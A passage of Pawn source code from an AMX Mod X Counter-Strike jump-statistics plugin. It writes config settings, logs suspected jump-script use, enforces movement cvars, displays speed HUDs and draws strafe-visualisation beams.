fprintf(f, "kz_uq_stats_blue %i^n",stats_b);
fprintf(f, "^n");
fprintf(f, "// Color Hud messages Fail statistics when you jump, in the RGB^n");
fprintf(f, "kz_uq_failstats_red %i^n",f_stats_r);
fprintf(f, "kz_uq_failstats_green %i^n",f_stats_g);
fprintf(f, "kz_uq_failstats_blue %i^n",f_stats_b);
fprintf(f, "^n");
fprintf(f, "// Color Hud messages prestrafe, in the RGB^n");
fprintf(f, "kz_uq_prestrafe_red %i^n",prest_r);
fprintf(f, "kz_uq_prestrafe_green %i^n",prest_g);
fprintf(f, "kz_uq_prestrafe_blue %i^n",prest_b);
fprintf(f, "^n");
fprintf(f, "// Color of speed, in the RGB^n");
fprintf(f, "kz_uq_speed_red %i^n",speed_r);
fprintf(f, "kz_uq_speed_green %i^n",speed_g);
fprintf(f, "kz_uq_speed_blue %i^n",speed_b);
fprintf(f, "^n");
fprintf(f, "//Coordinates Hud messages^n");
fprintf(f, "^n");
fprintf(f, "//General stats jump^n");
get_pcvar_string(kz_stats_x, s_x, 9);
get_pcvar_string(kz_stats_y, s_y, 9);
fprintf(f, "kz_uq_stats_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_stats_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Strafes Stats^n");
get_pcvar_string(kz_strafe_x, s_x, 9);
get_pcvar_string(kz_strafe_y, s_y, 9);
fprintf(f, "kz_uq_strafe_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_strafe_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Ducks Stats for Multi dd^n");
get_pcvar_string(kz_duck_x, s_x, 9);
get_pcvar_string(kz_duck_y, s_y, 9);
fprintf(f, "kz_uq_duck_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_duck_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Speed^n");
get_pcvar_string(kz_speed_x, s_x, 9);
get_pcvar_string(kz_speed_y, s_y, 9);
fprintf(f, "kz_uq_speed_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_speed_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "//Prestrafe^n");
get_pcvar_string(kz_prest_x, s_x, 9);
get_pcvar_string(kz_prest_y, s_y, 9);
fprintf(f, "kz_uq_prestrafe_x ^"%s^"^n", s_x);
fprintf(f, "kz_uq_prestrafe_y ^"%s^"^n", s_y);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of general stats jump^n");
fprintf(f, "kz_uq_hud_stats %i^n",h_stats);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of strafes Stats^n");
fprintf(f, "kz_uq_hud_strafe %i^n",h_streif);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of ducks Stats for Multi CountJump^n");
fprintf(f, "kz_uq_hud_duck %i^n",h_duck);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of speed^n");
fprintf(f, "kz_uq_hud_speed %i^n",h_speed);
fprintf(f, "^n");
fprintf(f, "// Channel Hud messages of prestafe^n");
fprintf(f, "kz_uq_hud_pre %i^n",h_prest);
fprintf(f, "^n");
fprintf(f, "// For what technique stats enable^n");
fprintf(f, "kz_uq_lj %i^n",uq_lj);
fprintf(f, "kz_uq_cj %i^n",uq_cj);
fprintf(f, "kz_uq_bj %i^n",uq_bj);
fprintf(f, "kz_uq_sbj %i^n",uq_sbj);
fprintf(f, "kz_uq_wj %i^n",uq_wj);
fprintf(f, "kz_uq_dcj %i^n",uq_dcj);
fprintf(f, "kz_uq_mcj %i^n",uq_mcj);
fprintf(f, "kz_uq_drbj %i^n",uq_drbj);
fprintf(f, "kz_uq_drcj %i^n",uq_drcj);
fprintf(f, "kz_uq_ladder %i^n",uq_ladder);
fprintf(f, "kz_uq_ldbj %i^n",uq_ldbj);
fprintf(f, "^n");
fprintf(f, "// Max,Min block to show in edge^n");
fprintf(f, "kz_uq_max_block %i^n",uq_maxedge);
fprintf(f, "kz_uq_min_block %i^n",uq_minedge);
fprintf(f, "^n");
fprintf(f, "// Minimum Prestrafe to show^n");
fprintf(f, "kz_uq_min_pre %i^n",uq_min_pre);
fprintf(f, "^n");
fprintf(f, "// For what Extra technique stats enable^n");
fprintf(f, "kz_uq_scj %i^n",uq_drsbj);
fprintf(f, "kz_uq_dscj %i^n",uq_dscj);
fprintf(f, "kz_uq_mscj %i^n",uq_mscj);
fprintf(f, "kz_uq_dropscj %i^n",uq_dropscj);
fprintf(f, "kz_uq_dropdscj %i^n",uq_dropdscj);
fprintf(f, "kz_uq_dropmscj %i^n",uq_dropmscj);
fprintf(f, "kz_uq_duckbhop %i^n",uq_duckbhop);
fprintf(f, "kz_uq_bhopinduck %i^n",uq_bhopinduck);
fprintf(f, "kz_uq_realldbhop %i^n",uq_realldbhop);
fprintf(f, "kz_uq_upbj %i^n",uq_upbj);
fprintf(f, "kz_uq_upsbj %i^n",uq_upsbj);
fprintf(f, "kz_uq_upbhopinduck %i^n",uq_upbhopinduck);
fprintf(f, "kz_uq_multibhop %i^n",uq_multibhop);
fprintf(f, "kz_uq_dropdcj %i^n",uq_dropdcj);
fprintf(f, "kz_uq_dropmcj %i^n",uq_dropmcj);
fprintf(f, "^n");
fprintf(f, "// Color for chat messages of jump distances (good = grey, pro = green, holy = blue, leet = red, god = red (with sound godlike for all players))^n");
fprintf(f, "// LongJump/HighJump^n");
fprintf(f, "kz_uq_good_lj %i^n",lj_good_dist);
fprintf(f, "kz_uq_pro_lj %i^n",lj_pro_dist);
fprintf(f, "kz_uq_holy_lj %i^n",lj_holy_dist);
fprintf(f, "kz_uq_leet_lj %i^n",lj_leet_dist);
fprintf(f, "kz_uq_god_lj %i^n",lj_god_dist);
fprintf(f, "^n");
fprintf(f, "// CountJump^n");
fprintf(f, "kz_uq_good_cj %i^n",cj_good_dist);
fprintf(f, "kz_uq_pro_cj %i^n",cj_pro_dist);
fprintf(f, "kz_uq_holy_cj %i^n",cj_holy_dist);
fprintf(f, "kz_uq_leet_cj %i^n",cj_leet_dist);
fprintf(f, "kz_uq_god_cj %i^n",cj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Double CountJump/Multi CountJump^n");
fprintf(f, "kz_uq_good_dcj %i^n",dcj_good_dist);
fprintf(f, "kz_uq_pro_dcj %i^n",dcj_pro_dist);
fprintf(f, "kz_uq_holy_dcj %i^n",dcj_holy_dist);
fprintf(f, "kz_uq_leet_dcj %i^n",dcj_leet_dist);
fprintf(f, "kz_uq_god_dcj %i^n",dcj_god_dist);
fprintf(f, "^n");
fprintf(f, "// LadderJump^n");
fprintf(f, "kz_uq_good_ladder %i^n",ladder_good_dist);
fprintf(f, "kz_uq_pro_ladder %i^n",ladder_pro_dist);
fprintf(f, "kz_uq_holy_ladder %i^n",ladder_holy_dist);
fprintf(f, "kz_uq_leet_ladder %i^n",ladder_leet_dist);
fprintf(f, "kz_uq_god_ladder %i^n",ladder_god_dist);
fprintf(f, "^n");
fprintf(f, "// BhopJump/StandUp BhopJump^n");
fprintf(f, "kz_uq_good_bj %i^n",bj_good_dist);
fprintf(f, "kz_uq_pro_bj %i^n",bj_pro_dist);
fprintf(f, "kz_uq_holy_bj %i^n",bj_holy_dist);
fprintf(f, "kz_uq_leet_bj %i^n",bj_leet_dist);
fprintf(f, "kz_uq_god_bj %i^n",bj_god_dist);
fprintf(f, "^n");
fprintf(f, "// WeirdJump/Drop CountJump(double,multi)/Ladder BhopJump^n");
fprintf(f, "kz_uq_good_wj %i^n",wj_good_dist);
fprintf(f, "kz_uq_pro_wj %i^n",wj_pro_dist);
fprintf(f, "kz_uq_holy_wj %i^n",wj_holy_dist);
fprintf(f, "kz_uq_leet_wj %i^n",wj_leet_dist);
fprintf(f, "kz_uq_god_wj %i^n",wj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Drop BhopJump^n");
fprintf(f, "kz_uq_good_dbj %i^n",dbj_good_dist);
fprintf(f, "kz_uq_pro_dbj %i^n",dbj_pro_dist);
fprintf(f, "kz_uq_holy_dbj %i^n",dbj_holy_dist);
fprintf(f, "kz_uq_leet_dbj %i^n",dbj_leet_dist);
fprintf(f, "kz_uq_god_dbj %i^n",dbj_god_dist);
fprintf(f, "^n");
fprintf(f, "// StandUp CountJump (Double or Multi StandUp CountJump=SCJ+10units)(if 100aa all cvar dist +10 units)^n");
fprintf(f, "kz_uq_good_scj %i^n",scj_good_dist);
fprintf(f, "kz_uq_pro_scj %i^n",scj_pro_dist);
fprintf(f, "kz_uq_holy_scj %i^n",scj_holy_dist);
fprintf(f, "kz_uq_leet_scj %i^n",scj_leet_dist);
fprintf(f, "kz_uq_god_scj %i^n",scj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Drop StandUp CountJump(double,multi)^n");
fprintf(f, "kz_uq_good_dropscj %i^n",dropscj_good_dist);
fprintf(f, "kz_uq_pro_dropscj %i^n",dropscj_pro_dist);
fprintf(f, "kz_uq_holy_dropscj %i^n",dropscj_holy_dist);
fprintf(f, "kz_uq_leet_dropscj %i^n",dropscj_leet_dist);
fprintf(f, "kz_uq_god_dropscj %i^n",dropscj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Up Bhop^n");
fprintf(f, "kz_uq_good_upbj %i^n",upbj_good_dist);
fprintf(f, "kz_uq_pro_upbj %i^n",upbj_pro_dist);
fprintf(f, "kz_uq_holy_upbj %i^n",upbj_holy_dist);
fprintf(f, "kz_uq_leet_upbj %i^n",upbj_leet_dist);
fprintf(f, "kz_uq_god_upbj %i^n",upbj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Up StandBhop^n");
fprintf(f, "kz_uq_good_upsbj %i^n",upsbj_good_dist);
fprintf(f, "kz_uq_pro_upsbj %i^n",upsbj_pro_dist);
fprintf(f, "kz_uq_holy_upsbj %i^n",upsbj_holy_dist);
fprintf(f, "kz_uq_leet_upsbj %i^n",upsbj_leet_dist);
fprintf(f, "kz_uq_god_upsbj %i^n",upsbj_god_dist);
fprintf(f, "^n");
fprintf(f, "// Bhop In Duck(Up Bhop In Duck)^n");
fprintf(f, "kz_uq_good_bhopinduck %i^n",bhopinduck_good_dist);
fprintf(f, "kz_uq_pro_bhopinduck %i^n",bhopinduck_pro_dist);
fprintf(f, "kz_uq_holy_bhopinduck %i^n",bhopinduck_holy_dist);
fprintf(f, "kz_uq_leet_bhopinduck %i^n",bhopinduck_leet_dist);
fprintf(f, "kz_uq_god_bhopinduck %i^n",bhopinduck_god_dist);
fprintf(f, "^n");
fprintf(f, "// Duck Bhop^n");
fprintf(f, "kz_uq_good_duckbhop %i^n",duckbhop_good_dist);
fprintf(f, "kz_uq_pro_duckbhop %i^n",duckbhop_pro_dist);
fprintf(f, "kz_uq_holy_duckbhop %i^n",duckbhop_holy_dist);
fprintf(f, "kz_uq_leet_duckbhop %i^n",duckbhop_leet_dist);
fprintf(f, "kz_uq_god_duckbhop %i^n",duckbhop_god_dist);
fprintf(f, "^n");
fprintf(f, "// Real Ladder Bhop^n");
fprintf(f, "kz_uq_good_realldbhop %i^n",real_good_dist);
fprintf(f, "kz_uq_pro_realldbhop %i^n",real_pro_dist);
fprintf(f, "kz_uq_holy_realldbhop %i^n",real_holy_dist);
fprintf(f, "kz_uq_leet_realldbhop %i^n",real_leet_dist);
fprintf(f, "kz_uq_god_realldbhop %i^n",real_god_dist);
fprintf(f, "^n");
fclose(f);
server_cmd("exec %s", config);
server_exec();
}
#include <uq_jumpstats_sql.inc>
public Log_script(f_frames,cheated_frames,id,Float:log_dist,Float:log_max,Float:log_pre,log_str,log_sync,jump_type_str[],wpn_str[],punishments[],t_str[40*NSTRAFES])
{
new Date[20];
get_time("%m/%d/%y %H:%M:%S", Date, 19) ;
new username[33];
get_user_name(id, username, 32);
new userip[16];
get_user_ip(id, userip, 15, 1);
new authid[35];
get_user_authid(id, authid, 34);
new main_text[512];
write_file(logs_path, "---------------------------------------------------", -1);
formatex(main_text, 511, "%s |%s |%s |%s |%s |%s ^n", Date,username, authid, userip, "Script",punishments);
write_file(logs_path, main_text, -1);
formatex(main_text, 511, "Type: %s ::: Weapon: %s^nDistance: %.03f Maxspeed: %.03f Prestrafe: %.03f Strafes: %d Sync: %d^n",jump_type_str,wpn_str,log_dist,log_max,log_pre,log_str,log_sync);
write_file(logs_path, main_text, -1);
formatex(main_text, 511, "Total Frames: %d^nCheated Frames: %d^n",f_frames,cheated_frames);
write_file(logs_path, main_text, -1);
new strf[40];
for(new ll=INFO_ONE; (ll <= log_str) && (ll < NSTRAFES);ll++)
{
strtok(t_str,strf,40,t_str,40*NSTRAFES,'^n');
replace(strf,40,"^n","");
write_file(logs_path, strf, -1);
}
write_file(logs_path, "---------------------------------------------------", -1);
if(uq_script_notify)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_SCRIPTNOTIFY",prefix,username,jump_type_str);
}
}
public krasnota(id)
{
message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
write_short(1<<10);
write_short(1<<10);
write_short(0x0000);
write_byte(255);
write_byte(0);
write_byte(0);
write_byte(110);
message_end();
}
public sineva(id)
{
message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, id);
write_short(1<<10);
write_short(1<<10);
write_short(0x0000);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(110);
message_end();
}
public tskFps(id)
{
if( leg_settings)
{
id-=434490;
client_cmd(id, "developer 0;fps_max 101;cl_forwardspeed 400;cl_sidespeed 400;cl_backspeed 400");
}
}
public server_frame()
{
if( leg_settings )
{
if( get_pcvar_num(edgefriction) != 2 )
set_pcvar_num(edgefriction, 2);
if( get_pcvar_num(mp_footsteps) != 1 )
set_pcvar_num(mp_footsteps, 1);
if( get_pcvar_num(sv_cheats) != 0 )
set_pcvar_num(sv_cheats, 0);
if( get_pcvar_num(sv_gravity)!= 800 )
set_pcvar_num(sv_gravity, 800);
if((uq_airaccel==0 || uq_airaccel==10) && get_pcvar_num(sv_airaccelerate) != 10 )
set_pcvar_num(sv_airaccelerate, 10);
else if((uq_airaccel==1 || uq_airaccel==100) && get_pcvar_num(sv_airaccelerate) != 100 )
set_pcvar_num(sv_airaccelerate, 100);
else if(get_pcvar_num(sv_airaccelerate) != uq_airaccel && uq_airaccel!=0 && uq_airaccel!=1)
set_pcvar_num(sv_airaccelerate, uq_airaccel);
if( get_pcvar_num(sv_maxspeed) != 320 )
set_pcvar_num(sv_maxspeed, 320);
if( get_pcvar_num(sv_stepsize) != 18 )
set_pcvar_num(sv_stepsize, 18);
if( get_pcvar_num(sv_maxvelocity) != 2000 )
set_pcvar_num(sv_maxvelocity, 2000);
}
}
public client_putinserver(id)
{
if(speedon[id] && !is_user_hltv(id) && !is_user_bot(id))// && is_user_alive(id) && is_user_bot(id) && is_user_hltv())
{
set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
}
get_user_name(id, g_playername[id], 63);
get_user_ip(id, g_playerip[id], 15, 1);
get_user_authid(id, g_playersteam[id], 35);
if(kz_sql == 1)
{
player_load_info(id);
}
if(is_user_admin(id))
{
player_admin[id]=true;
}
}
public Dojof(taskid)
{
taskid-=212398;
static alive, spectatedplayer;
alive = g_alive[taskid];
spectatedplayer = get_spectated_player(taskid);
if( (alive || spectatedplayer > 0))
{
new show_id;
if( alive )
{
show_id=taskid;
}
else
{
show_id=spectatedplayer;
}
if(jof[show_id]!=0.0)
{
if(jof[show_id]>5.0)
{
set_hudmessage(255, 255, 255, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
}
else
{
set_hudmessage(255, 0, 0, -1.0, 0.6, 0, 0.0, 0.7, 0.0, 0.0, h_speed);
}
show_hudmessage(taskid,"%L",LANG_SERVER,"UQSTATS_JOF", jof[show_id]);
}
}
}
public DoSpeed(taskid)
{
taskid-=212299;
static alive, spectatedplayer;
alive = g_alive[taskid];
spectatedplayer = get_spectated_player(taskid);
if( (alive || spectatedplayer > 0))
{
new show_id;
if( alive )
{
show_id=taskid;
}
else
{
show_id=spectatedplayer;
}
new Float:velocity[3];
pev(show_id, pev_velocity, velocity);
if( velocity[2] != 0 )
velocity[2]-=velocity[2];
new Float:speedy = vector_length(velocity);
if(speedtype[taskid])
{
set_dhudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.1, 0.0, 0.0);
show_dhudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));
}
else
{
set_hudmessage(speed_r, speed_g, speed_b, speed_x, speed_y, 0, 0.0, 0.2, 0.0, 0.0, h_speed);
show_hudmessage(taskid, "%L",LANG_SERVER,"UQSTATS_SPEEDSHOW", floatround(speedy, floatround_floor));
}
}
}
public wait(id)
{
id-=3313;
waits[id]=1;
}
public wait1(id)
{
id-=3214;
waits1[id]=1;
}
public client_command(id)
{
static command[32];
read_argv( 0, command, 31 );
static const forbidden[][] = {
"tele", "tp", "gocheck", "gc", "stuck", "unstuck", "start", "reset", "restart",
"spawn", "respawn"
};
if(uq_info)
{
if(record_start[id]==0 && equali( command, "fullupdate" ))
{
record_start[id]=1;
}
else if(record_start[id]==1 && equali( command, "specmode" ))
{
set_hudmessage(255, 255, 255, 0.72, 0.0, 0, 6.0, 1.0);
show_hudmessage(id, "%L",LANG_SERVER,"UQSTATS_INFOSTS",VERSION);
record_start[id]=0;
}
}
if( equali( command, "say" ) )
{
read_args( command, 31 );
remove_quotes( command );
}
if( equali( command, "+hook" ) )
{
JumpReset(id,0);
donehook[id]=true;
hookcheck[id]=false;
}
else if( command[0] == '/' || command[0] == '.' )
{
copy( command, 31, command[1] );
for( new i ; i < sizeof( forbidden ) ; i++ )
{
if( equali( command, forbidden[i] ) )
{
JumpReset(id,1);
break;
}
}
}
}
public remove_beam_ent(id)
{
for(new i=0;i<ent_count[id];i++)
{
message_begin(MSG_BROADCAST,SVC_TEMPENTITY);
write_byte(99);
write_short(beam_entity[id][i]);
message_end();
remove_entity(beam_entity[id][i]);
}
ent_count[id]=0;
}
public epta(id,Float:or[3],direct_strafe,l_lost[NSTRAFES][NVAR],full,ducked,str_num,strafe_frame1[NSTRAFES],strafe_frame2[NSTRAFES],strafe_lost[NSTRAFES])
{
new Float:os_start,Float:temp_or[3],direct[2];
switch(direct_strafe)
{
case 1:
{
temp_or[0]=or[0];
temp_or[1]=or[1]+48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
}
case 2:
{
temp_or[0]=or[0];
temp_or[1]=or[1]-48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
direct[1]=1;
}
case 3:
{
temp_or[0]=or[1];
temp_or[1]=or[0]+48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
direct[0]=1;
direct[1]=1;
}
case 4:
{
temp_or[0]=or[1];
temp_or[1]=or[0]-48.0;
if(ducked)
{
temp_or[2]=or[2]+16+18;
}
else temp_or[2]=or[2]+18;
direct[0]=1;
}
}
os_start=temp_or[0]-(full/2);
if(direct[1])
{
new Float:temp_start=os_start+full;
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_or[3];
if(direct[0])
{
ent_or[0]=temp_or[1];
ent_or[1]=temp_start;
}
else
{
ent_or[0]=temp_start;
ent_or[1]=temp_or[1];
}
ent_or[2]=temp_or[2];
entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(temp_start-full));
}
else
{
write_coord(floatround(temp_start-full));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(1);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
for(new i=0;i<2;i++)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
if(i==1)
ent_org[1]=temp_start-full;
else
ent_org[1]=temp_start;
}
else
{
if(i==1)
ent_org[0]=temp_start-full;
else
ent_org[0]=temp_start;
ent_org[1]=temp_or[1];
}
ent_org[2]=temp_or[2]-10.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
if(i==1)
write_coord(floatround(temp_start-full));
else
write_coord(floatround(temp_start));
}
else
{
if(i==1)
write_coord(floatround(temp_start-full));
else
write_coord(floatround(temp_start));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]+10.0));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
}
for(new i=1;i<=str_num;i++)
{
new Float:st_start,Float:st_finish;
st_finish=temp_start-strafe_lost[i]-strafe_frame1[i]-strafe_frame2[i];
st_start=temp_start-strafe_lost[i];
for(new Float:j=st_start,count_l=0;j>st_finish;j=j-1.0)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
ent_org[1]=j;
}
else
{
ent_org[0]=j;
ent_org[1]=temp_or[1];
}
if(i%2!=0)
ent_org[2]=temp_or[2];
else
ent_org[2]=temp_or[2]-4.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(j));
}
else
{
write_coord(floatround(j));
write_coord(floatround(temp_or[1]));
}
if(i%2!=0)
write_coord(floatround(temp_or[2]+4.0));
else
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
if(l_lost[i][count_l])
{
write_byte(255);
write_byte(0);
write_byte(0);
line_lost[id][i][count_l]=0;
}
else
{
write_byte(0);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(1);
message_end();
count_l++;
ent_count[id]++;
}
temp_start=st_finish;
}
}
else
{
new Float:temp_start=os_start;
beam_entity[id][ent_count[id]] = create_entity("info_target");
// entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_or[3];
if(direct[0])
{
ent_or[0]=temp_or[1];
ent_or[1]=temp_start;
}
else
{
ent_or[0]=temp_start;
ent_or[1]=temp_or[1];
}
ent_or[2]=temp_or[2];
entity_set_origin(beam_entity[id][ent_count[id]], ent_or);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(temp_start+full));
}
else
{
write_coord(floatround(temp_start+full));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(1);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
for(new i=0;i<2;i++)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
//entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
if(i==1)
ent_org[1]=temp_start+full;
else
ent_org[1]=temp_start;
}
else
{
if(i==1)
ent_org[0]=temp_start+full;
else
ent_org[0]=temp_start;
ent_org[1]=temp_or[1];
}
ent_org[2]=temp_or[2]-10.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
if(i==1)
write_coord(floatround(temp_start+full));
else
write_coord(floatround(temp_start));
}
else
{
if(i==1)
write_coord(floatround(temp_start+full));
else
write_coord(floatround(temp_start));
write_coord(floatround(temp_or[1]));
}
write_coord(floatround(temp_or[2]+10.0));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
write_byte(0);
write_byte(0);
write_byte(255);
write_byte(150);
write_byte(1);
message_end();
ent_count[id]++;
}
for(new i=1;i<=str_num;i++)
{
new Float:st_start,Float:st_finish;
st_finish=temp_start+strafe_lost[i]+strafe_frame1[i]+strafe_frame2[i];
st_start=temp_start+strafe_lost[i];
//ColorChat(id,RED,"start=%f tempstart=%f st_start=%f st_finish=%f",os_start,temp_start, st_start,st_finish);
for(new Float:j=st_start,count_l=0;j<st_finish;j++)
{
beam_entity[id][ent_count[id]] = create_entity("info_target");
// entity_set_int(beam_entity[id][ent_count[id]], EV_INT_solid, SOLID_NOT);
entity_set_model(beam_entity[id][ent_count[id]], "models/hairt.mdl");
new Float:ent_org[3];
if(direct[0])
{
ent_org[0]=temp_or[1];
ent_org[1]=j;
}
else
{
ent_org[0]=j;
ent_org[1]=temp_or[1];
}
if(i%2!=0)
ent_org[2]=temp_or[2];
else
ent_org[2]=temp_or[2]-4.0;
entity_set_origin(beam_entity[id][ent_count[id]], ent_org);
message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
write_byte(TE_BEAMENTPOINT);
write_short(beam_entity[id][ent_count[id]]);
///////////////////////////////////////////
if(direct[0])
{
write_coord(floatround(temp_or[1]));
write_coord(floatround(j));
}
else
{
write_coord(floatround(j));
write_coord(floatround(temp_or[1]));
}
if(i%2!=0)
write_coord(floatround(temp_or[2]+4.0));
else
write_coord(floatround(temp_or[2]));
///////////////////////////////////////////
write_short(heystats);
write_byte(0);
write_byte(5);
write_byte(showtime_st_stats[id]);
write_byte(5);
write_byte(0);
if(l_lost[i][count_l])
{
write_byte(255);
write_byte(0);
write_byte(0);
line_lost[id][i][count_l]=0;
}
else
{
write_byte(0);
write_byte(255);
write_byte(0);
}
write_byte(200);
write_byte(1);
message_end();
count_l++;
ent_count[id]++;
}
temp_start=st_finish;
}
}
}
public fwdPreThink( id )
{
if(g_userConnected[id]==true && g_pBot[id]==false)
{
if(uq_admins==1 && !player_admin[id])
{
return FMRES_IGNORED;
}
else
{
new tmpTeam[33],dead_flag;
get_user_team(id,tmpTeam,32);
dead_flag=pev(id, pev_deadflag);
if(equali(tmpTeam,"SPECTATOR") && g_alive[id])
{
g_alive[id]=false;
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
}
else if(equali(tmpTeam,"TERRORIST") || equali(tmpTeam,"CT"))
{
if(dead_flag==2 && g_alive[id])
{
g_alive[id]=false;
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
}
else if(dead_flag==0 && g_alive[id]==false)
{
g_alive[id]=true;
}
}
if(uq_team==0)
{
team[id]=0;
}
else if(equali(tmpTeam,"TERRORIST"))
{
team[id]=1;
}
else if(equali(tmpTeam,"CT"))
{
team[id]=2;
}
else
{
team[id]=uq_team;
}
if( g_alive[id] && team[id]==uq_team)
{
